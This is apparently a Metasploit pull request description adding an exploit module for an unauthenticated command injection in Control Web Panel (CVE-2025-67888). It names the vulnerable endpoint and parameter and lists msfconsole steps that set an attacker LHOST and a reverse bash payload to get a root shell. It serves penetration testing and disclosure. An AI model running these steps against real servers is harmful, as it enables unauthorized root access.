add module for CVE-2025-67888

[JohannesLks]

Fixes #20788

Add Control Web Panel API Command Injection Exploit (CVE-2025-67888)

This PR adds a new exploit module for CVE-2025-67888, an unauthenticated OS command injection vulnerability in Control Web Panel (CWP) versions <= 0.9.8.1208.

What does this change do?

Adds exploit/linux/http/control_web_panel_api_cmd_exec which exploits a blind command injection via the key GET parameter in /admin/index.php when api=1 is set. Successful exploitation grants root-level access.

Prerequisites: Softaculous and/or SitePad must be installed via CWP Scripts Manager.

Files Added

• modules/exploits/linux/http/control_web_panel_api_cmd_exec.rb
• documentation/modules/exploit/linux/http/control_web_panel_api_cmd_exec.md

Verification

• Start msfconsole
• use exploit/linux/http/control_web_panel_api_cmd_exec
• set RHOSTS <target>
• set RPORT 2031
• set SSL true
• set LHOST <attacker>
• check
• Verify target is detected as vulnerable (time-based check)
• set payload cmd/unix/reverse_bash
• exploit
• Verify shell session opens with root privileges
• Document verified via included documentation file

References

• CVE-2025-67888
• https://karmainsecurity.com/KIS-2025-09

[bcoles]

see #20788

Pro-tip: If you write "Fixes #20788", then when this PR is merged that issue will also be closed automatically.